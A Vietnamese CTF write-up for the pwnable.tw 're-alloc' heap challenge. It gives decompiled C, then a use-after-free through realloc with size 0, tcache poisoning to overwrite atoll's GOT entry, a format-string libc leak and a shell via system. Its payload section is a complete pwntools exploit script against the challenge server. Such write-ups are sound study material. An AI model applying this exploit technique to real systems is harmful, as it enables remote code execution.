--- title: '[Pwnable.tw] re-alloc (heap)' tags: writeup, heap, pwntw --- [toc] ## **SOURCE** > libc phiên bản 2.29 ![image](https://user-images.githubusercontent.com/87422359/168803965-0afbf62c-b41c-433f-b53d-a83c74c3e9bf.png) ![image](https://user-images.githubusercontent.com/87422359/168803790-38efeb3d-5486-424d-a497-615c07dd6b7a.png) ## **REVERSE** > Đây là các hàm có liên quan ### Main ```c= int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int v3; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v4; // [rsp+8h] [rbp-8h] v4 = __readfsqword(0x28u); v3 = 0; init_proc(argc, argv, envp); while ( 1 ) { while ( 1 ) { menu(); __isoc99_scanf("%d", &v3); if ( v3 != 2 ) break; reallocate(); } if ( v3 > 2 ) { if ( v3 == 3 ) { rfree(); } else { if ( v3 == 4 ) _exit(0); LABEL_13: puts("Invalid Choice"); } } else { if ( v3 != 1 ) goto LABEL_13; allocate(); } } } ``` ### Rfree ```c= int rfree() { _QWORD *v0; // rax unsigned __int64 v2; // [rsp+8h] [rbp-8h] printf("Index:"); v2 = read_long(); if ( v2 > 1 ) { LODWORD(v0) = puts("Invalid !"); } else { realloc(heap[v2], 0LL); v0 = heap; heap[v2] = 0LL; } return v0; } ``` ### Realloc ```c= int reallocate() { unsigned __int64 idx; // [rsp+8h] [rbp-18h] unsigned __int64 size; // [rsp+10h] [rbp-10h] void *v3; // [rsp+18h] [rbp-8h] printf("Index:"); idx = read_long(); if ( idx > 1 || !heap[idx] ) return puts("Invalid !"); printf("Size:"); size = read_long(); if ( size > 120 ) return puts("Too large!"); v3 = realloc(heap[idx], size); if ( !v3 ) return puts("alloc error"); heap[idx] = v3; printf("Data:"); return read_input(heap[idx], size); } ``` ### Allocate ```c= int allocate() { _BYTE *v0; // rax unsigned __int64 v2; // [rsp+0h] [rbp-20h] unsigned __int64 size; // [rsp+8h] [rbp-18h] void *ptr; // [rsp+18h] [rbp-8h] printf("Index:"); v2 = read_long(); if ( v2 > 1 || heap[v2] ) { LODWORD(v0) = puts("Invalid !"); } else { printf("Size:"); size = read_long(); if ( size <= 0x78 ) { ptr = realloc(0LL, size); if ( ptr ) { heap[v2] = ptr; printf("Data:"); v0 = (heap[v2] + read_input(heap[v2], size)); *v0 = 0; } else { LODWORD(v0) = puts("alloc error"); } } else { LODWORD(v0) = puts("Too large!"); } } return v0; } ``` ### read_long ```c __int64 read_long() { char nptr[24]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v2; // [rsp+28h] [rbp-8h] v2 = __readfsqword(0x28u); __read_chk(0LL, nptr, 16LL, 17LL); return atoll(nptr); } ``` Hàm `allocate` dùng realloc thay cho malloc. Cho phép lưu trữ tối đa 2 ptr. Size < 120 (Tcache bin). Check nếu ptr tồn tại thì không cho `allocate`. `Rfree` sau khi free sẽ set ptr = 0. ## **VULN** * Realloc với size = 0 thì tương đướng với free, không cần thông quan qua hàm `Rfree` nên ptr không bị set = 0. * Realloc với size = size cũ thì không có tác động nào cả nhưng trong hàm `Reallocate` có đọc dữ liệu vào nên có thể ghi vào ptr bất kì. Dùng UAF ghi lên freed chunk trong tcache với địa chỉ của mục tiêu (1), sau đó alloc 2 lần để lấy con trỏ trỏ với mục tiêu. Chương trình chỉ cho phép lưu trữ 2 ptr và cần phải dùng 1 ptr thực hiện (1), nên để có thể alloc được 2 lần mà không đưa chunk vừa lấy vào bin cũ thì phải `reallocate` thay đổi size của nó rồi mới free. ## **APPROACH** Libc 2.29 không check size, cũng không có safe link nên có thể trực tiếp tạo con trở tại bảng GOT => có thể đè `printf_plt` lên `atoll_got` để leak libc base. Sau khi leak libc base thì ghi địa chỉ của system vào `atoll_got` là có thể lấy shell. ## **STEPS** 1. Tạo 2 con trỏ với `atoll_got` với tcache size 0x20 và 0x40. 2. Set 2 con trở về 0. 3. Dùng ptr idx 0 để ghi `printf_plt` vào `atoll_got`. 4. Leak libc base bằng format string. 5. Ghi địa chỉ của system vào `atoll_got`. 6. Lấy shell. ## **PAYLOAD** ```python= # -- coding: utf-8 -- import re from pwn import * # ENV PORT = 10106 HOST = "chall.pwnable.tw" e = context.binary = ELF('./re-alloc_patched') # lib = ELF('') lib = e.libc if len(sys.argv) > 1 and sys.argv[1] == 'r': r = remote(HOST, PORT) else: r = e.process() # VARIABLE def alloc(idx, size, data): r.sendlineafter("choice:" ,"1") r.sendlineafter("Index:", str(idx)) r.sendlineafter("Size:", str(size)) r.sendlineafter("Data:", data) def alloc2(idx, size, data): r.sendlineafter("choice:" ,"1") r.sendlineafter("Index:", str(idx)) r.sendlineafter("Size:", str(size)) r.sendafter("Data:", data) def realloc2(idx, size, data): r.sendlineafter("choice:" ,"2") r.sendlineafter("Index:", str(idx)) r.sendlineafter("Size:", str(size)) r.sendafter("Data:", data) def realloc4(idx, data): r.sendlineafter("choice:" ,"2") r.sendafter("Index:", '\n') r.sendlineafter("Size:", str(idx)) r.sendafter("Data:", data) def realloc3(idx): r.sendlineafter("choice:" ,"2") r.sendlineafter("Index:", str(idx)) r.sendlineafter("Size:","0") def realloc(idx, size, data): r.sendlineafter("choice:" ,"2") r.sendlineafter("Index:", str(idx)) r.sendlineafter("Size:", str(size)) r.sendlineafter("Data:", data) def free(idx): r.sendlineafter("choice:" ,"3") r.sendlineafter("Index:", str(idx)) # PAYLOAD ## STEP 1 alloc(0, 0x18, 'a)') realloc3(0) realloc2(0, 0x18, p64(e.got.atoll)) alloc(1, 0x18, 'a') realloc(1, 0x28, 'a') free(1) realloc(0, 0x38, 'a') free(0) alloc(0, 0x48, 'a)') realloc3(0) realloc2(0, 0x48, p64(e.got.atoll)) alloc(1, 0x48, 'a') ## STEP 2 realloc(1, 0x58, 'a') free(1) realloc(0, 0x68, 'a') free(0) ## STEP 3 alloc2(0, 0x48, p64(e.plt.printf)) ## STEP 4 r.sendlineafter("Your choice:", "3") r.sendlineafter("Index:", "%7$p") leak = int(r.recvline().strip(), 16) info("leak: 0x%x" % leak) base = leak - 0x1e5760 info("base: 0x%x" % base) lib.address = base ## STEP 5 r.sendlineafter("choice:" ,"1") r.sendlineafter("Index:", '') r.sendlineafter("Size:", 'asdfsdfsdfsdf') r.sendafter("Data:", p64(lib.sym.system)) ## STEP 6 r.sendlineafter("choice:" ,"1") r.sendlineafter("Index:", 'sh') r.interactive() ``` ![image](https://user-images.githubusercontent.com/87422359/168811603-f6de4ab4-09ba-4662-b754-ebb1f465c2b3.png)